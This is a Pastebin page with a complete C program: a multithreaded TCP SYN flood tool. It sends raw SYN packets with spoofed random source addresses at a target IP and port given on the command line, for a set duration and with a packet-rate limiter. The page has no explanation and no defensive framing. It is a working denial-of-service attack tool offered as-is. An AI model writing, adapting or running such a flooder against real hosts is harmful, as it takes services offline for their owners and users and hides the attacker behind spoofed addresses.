Advertisement
xttpx

wizard

Jul 10th, 2017
12,101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.06 KB | None | 0 0
  1. #include <unistd.h>
  2. #include <time.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <sys/ioctl.h>
  6. #include <string.h>
  7. #include <stdlib.h>
  8. #include <stdio.h>
  9. #include <pthread.h>
  10. #include <netinet/tcp.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/in.h>
  13. #include <netinet/if_ether.h>
  14. #include <netdb.h>
  15. #include <net/if.h>
  16. #include <arpa/inet.h>
  17. #define MAX_PACKET_SIZE 4096
  18. #define PHI 0x9e3779b9
  19. static unsigned long int Q[4096], c = 362436;
  20. static unsigned int floodport;
  21. volatile int limiter;
  22. volatile unsigned int pps;
  23. volatile unsigned int sleeptime = 100;
  24. void init_rand(unsigned long int x)
  25. {
  26.     int i;
  27.     Q[0] = x;
  28.     Q[1] = x + PHI;
  29.     Q[2] = x + PHI + PHI;
  30.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  31. }
  32. unsigned long int rand_cmwc(void)
  33. {
  34.     unsigned long long int t, a = 18782LL;
  35.     static unsigned long int i = 4095;
  36.     unsigned long int x, r = 0xfffffffe;
  37.     i = (i + 1) & 4095;
  38.     t = a * Q[i] + c;
  39.     c = (t >> 32);
  40.     x = t + c;
  41.     if (x < c) {
  42.     x++;
  43.     c++;
  44.     }
  45.     return (Q[i] = r - x);
  46. }
  47. unsigned short csum (unsigned short *buf, int count)
  48. {
  49.     register unsigned long sum = 0;
  50.     while( count > 1 ) { sum += *buf++; count -= 2; }
  51.     if(count > 0) { sum += *(unsigned char *)buf; }
  52.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  53.     return (unsigned short)(~sum);
  54. }
  55. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  56.     struct tcp_pseudo
  57.     {
  58.     unsigned long src_addr;
  59.     unsigned long dst_addr;
  60.     unsigned char zero;
  61.     unsigned char proto;
  62.     unsigned short length;
  63.     } pseudohead;
  64.     unsigned short total_len = iph->tot_len;
  65.     pseudohead.src_addr=iph->saddr;
  66.     pseudohead.dst_addr=iph->daddr;
  67.     pseudohead.zero=0;
  68.     pseudohead.proto=IPPROTO_TCP;
  69.     pseudohead.length=htons(sizeof(struct tcphdr));
  70.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  71.     unsigned short *tcp = malloc(totaltcp_len);
  72.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  73.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  74.     unsigned short output = csum(tcp,totaltcp_len);
  75.     free(tcp);
  76.     return output;
  77. }
  78. void setup_ip_header(struct iphdr *iph)
  79. {
  80.     iph->ihl = 5;
  81.     iph->version = 4;
  82.     iph->tos = 0;
  83.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  84.     iph->id = htonl(54321);
  85.     iph->frag_off = 0;
  86.     iph->ttl = MAXTTL;
  87.     iph->protocol = 6;
  88.     iph->check = 0;
  89.     iph->saddr = inet_addr("192.168.3.100");
  90. }
  91. void setup_tcp_header(struct tcphdr *tcph)
  92. {
  93.     tcph->source = htons(5678);
  94.     tcph->seq = rand();
  95.     tcph->ack_seq = 0;
  96.     tcph->res2 = 2;
  97.     tcph->doff = 5;
  98.     tcph->syn = 1;
  99.     tcph->window = htons(65535);
  100.     tcph->check = 1;
  101.     tcph->urg_ptr = 1;
  102. }
  103. void *flood(void *par1)
  104. {
  105.     char *td = (char *)par1;
  106.     char datagram[MAX_PACKET_SIZE];
  107.     struct iphdr *iph = (struct iphdr *)datagram;
  108.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  109.     struct sockaddr_in sin;
  110.     sin.sin_family = AF_INET;
  111.     sin.sin_port = htons(floodport);
  112.     sin.sin_addr.s_addr = inet_addr(td);
  113.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  114.     if(s < 0){
  115.     fprintf(stderr, "Could not open raw socket.\n");
  116.     exit(-1);
  117.     }
  118.     memset(datagram, 0, MAX_PACKET_SIZE);
  119.     setup_ip_header(iph);
  120.     setup_tcp_header(tcph);
  121.     tcph->dest = htons(floodport);
  122.     iph->daddr = sin.sin_addr.s_addr;
  123.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  124.     int tmp = 1;
  125.     const int *val = &tmp;
  126.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  127.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  128.     exit(-1);
  129.     }
  130.     init_rand(time(NULL));
  131.     register unsigned int i;
  132.     i = 0;
  133.     while(1){
  134.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  135.     iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  136.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  137.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  138.     tcph->seq = rand_cmwc() & 0xFFFF;
  139.     tcph->source = htons(rand_cmwc() & 0xFFFF);
  140.     tcph->check = 0;
  141.     tcph->check = tcpcsum(iph, tcph);
  142.     pps++;
  143.     if(i >= limiter)
  144.     {
  145.     i = 0;
  146.     usleep(sleeptime);
  147.     }
  148.     i++;
  149.     }
  150. }
  151. int main(int argc, char *argv[ ])
  152. {
  153.     if(argc < 6){
  154.     fprintf(stderr, "Invalid parameters!\n");
  155.     fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  156.     exit(-1);
  157.     }
  158.     fprintf(stdout, "Setting up Sockets...\n");
  159.     int num_threads = atoi(argv[3]);
  160.     floodport = atoi(argv[2]);
  161.     int maxpps = atoi(argv[4]);
  162.     limiter = 0;
  163.     pps = 0;
  164.     pthread_t thread[num_threads];
  165.     int multiplier = 20;
  166.     int i;
  167.     for(i = 0;i<num_threads;i++){
  168.     pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  169.     }
  170.     fprintf(stdout, "Starting Flood...\n");
  171.     for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  172.     {
  173.         usleep((1000/multiplier)*1000);
  174.         if((pps*multiplier) > maxpps)
  175.         {
  176.             if(1 > limiter)
  177.             {
  178.                 sleeptime+=100;
  179.             } else {
  180.                 limiter--;
  181.             }
  182.         } else {
  183.             limiter++;
  184.             if(sleeptime > 25)
  185.             {
  186.                 sleeptime-=25;
  187.             } else {
  188.                 sleeptime = 0;
  189.             }
  190.         }
  191.         pps = 0;
  192.     }
  193.  
  194.     return 0;
  195. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement